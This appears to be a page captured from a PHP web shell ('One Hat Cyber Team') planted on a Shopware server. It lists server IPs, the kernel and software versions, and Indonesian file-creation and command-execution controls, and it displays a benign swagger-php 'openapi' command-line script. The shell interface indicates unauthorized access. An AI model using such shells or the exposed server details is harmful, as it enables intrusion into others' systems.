⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.45
Server IP:
185.238.29.86
Server:
Linux server2 6.8.12-6-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-6 (2024-12-19T19:05Z) x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.31
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
shopware
/
vendor
/
bin
/
View File Name :
openapi
#!/usr/bin/env php <?php use OpenApi\Generator; use OpenApi\Util; use OpenApi\Logger\ConsoleLogger; if (class_exists(Generator::class) === false) { if (file_exists(__DIR__.'/../vendor/autoload.php')) { // cloned / dev environment? require_once(__DIR__.'/../vendor/autoload.php'); } else { require_once(realpath(__DIR__.'/../../../').'/autoload.php'); } } error_reporting(E_ALL); // Possible options and their default values. $options = [ 'output' => false, 'format' => 'auto', 'exclude' => [], 'pattern' => '*.php', 'bootstrap' => false, 'help' => false, 'debug' => false, 'processor' => [], ]; $aliases = [ 'o' => 'output', 'e' => 'exclude', 'n' => 'pattern', 'b' => 'bootstrap', 'h' => 'help', 'd' => 'debug', 'p' => 'processor', 'f' => 'format' ]; $needsArgument = [ 'output', 'format', 'exclude', 'pattern', 'bootstrap', 'processor', ]; $paths = []; $error = false; try { // Parse cli arguments for ($i = 1; $i < $argc; $i++) { $arg = $argv[$i]; if (substr($arg, 0, 2) === '--') { // longopt $option = substr($arg, 2); } elseif ($arg[0] === '-') { // shortopt if (array_key_exists(substr($arg, 1), $aliases)) { $option = $aliases[$arg[1]]; } else { throw new Exception('Unknown option: "' . $arg . '"'); } } else { $paths[] = $arg; continue; } if (array_key_exists($option, $options) === false) { throw new Exception('Unknown option: "' . $arg . '"'); } if (in_array($option, $needsArgument)) { if (empty($argv[$i + 1]) || $argv[$i + 1][0] === '-') { throw new Exception('Missing argument for "' . $arg . '"'); } if (is_array($options[$option])) { $options[$option][] = $argv[$i + 1]; } else { $options[$option] = $argv[$i + 1]; } $i++; } else { $options[$option] = true; } } } catch (\Exception $e) { $error = $e->getMessage(); } if (!$error && $options['bootstrap']) { if (is_readable($options['bootstrap']) === false) { $error = 'Invalid `--bootstrap` value: "'.$options['bootstrap'].'"'; } else { require_once($options['bootstrap']); } } if (count($paths) === 0) { $error = 'Specify at least one path.'; } $logger = new ConsoleLogger($options['debug']); if ($options['help'] === false && $error) { $logger->error('', ['prefix' => '']); $logger->error($error); // Show help $options['help'] = true; } if ($options['help']) { $help = <<<EOF Usage: openapi [--option value] [/path/to/project ...] Options: --output (-o) Path to store the generated documentation. ex: --output openapi.yaml --exclude (-e) Exclude path(s). ex: --exclude vendor,library/Zend --pattern (-n) Pattern of files to scan. ex: --pattern "*.php" or --pattern "/\.(phps|php)$/" --bootstrap (-b) Bootstrap a php file for defining constants, etc. ex: --bootstrap config/constants.php --processor Register an additional processor. --format Force yaml or json. --debug Show additional error information. --help (-h) Display this help message. EOF; $logger->info($help); exit(1); } $errorTypes = [ E_ERROR => 'Error', E_WARNING => 'Warning', E_PARSE => 'Parser error', E_NOTICE => 'Notice', E_STRICT => 'Strict', E_DEPRECATED => 'Deprecated', E_CORE_ERROR => 'Error(Core)', E_CORE_WARNING => 'Warning(Core)', E_COMPILE_ERROR => 'Error(compile)', E_COMPILE_WARNING => 'Warning(Compile)', E_RECOVERABLE_ERROR => 'Error(Recoverable)', E_USER_ERROR => 'Error', E_USER_WARNING => 'Warning', E_USER_NOTICE => 'Notice', E_USER_DEPRECATED => 'Deprecated', ]; set_error_handler(function ($errno, $errstr, $file, $line) use ($errorTypes, $options, $logger) { if (!(error_reporting() & $errno)) { // This error code is not included in error_reporting return; } $type = array_key_exists($errno, $errorTypes) ? $errorTypes[$errno] : 'Error'; $logger->error($errstr, ['prefix' => $type]); if ($options['debug']) { $logger->info(' in '.$file.' on line '.$line); } if (substr($type, 0, 5) === 'Error') { exit($errno); } }); set_exception_handler(function ($exception) use ($logger) { $logger->error($exception); exit($exception->getCode() ?: 1); }); $exclude = null; if ($options['exclude']) { $exclude = $options['exclude']; if (strpos($exclude[0], ',') !== false) { $exploded = explode(',', $exclude[0]); $logger->error('Comma-separated exclude paths are deprecated, use multiple --exclude statements: --exclude '.$exploded[0].' --exclude '.$exploded[1]); $exclude[0] = array_shift($exploded); $exclude = array_merge($exclude, $exploded); } } $pattern = "*.php"; if ($options['pattern']) { $pattern = $options['pattern']; } $generator = new Generator($logger); foreach ($options["processor"] as $processor) { $class = '\OpenApi\Processors\\'.$processor; if (class_exists($class)) { $processor = new $class(); } elseif (class_exists($processor)) { $processor = new $processor(); } $generator->addProcessor($processor); } $openapi = $generator->generate(Util::finder($paths, $exclude, $pattern)); if ($logger->called()) { $logger->notice('', ['prefix' => '']); } if ($options['output'] === false) { if (strtolower($options['format']) === 'json') { echo $openapi->toJson(); } else { echo $openapi->toYaml(); } echo "\n"; } else { if (is_dir($options['output'])) { $options['output'] .= '/openapi.yaml'; } $openapi->saveAs($options['output'], $options['format']); } exit($logger->called() ? 1 : 0);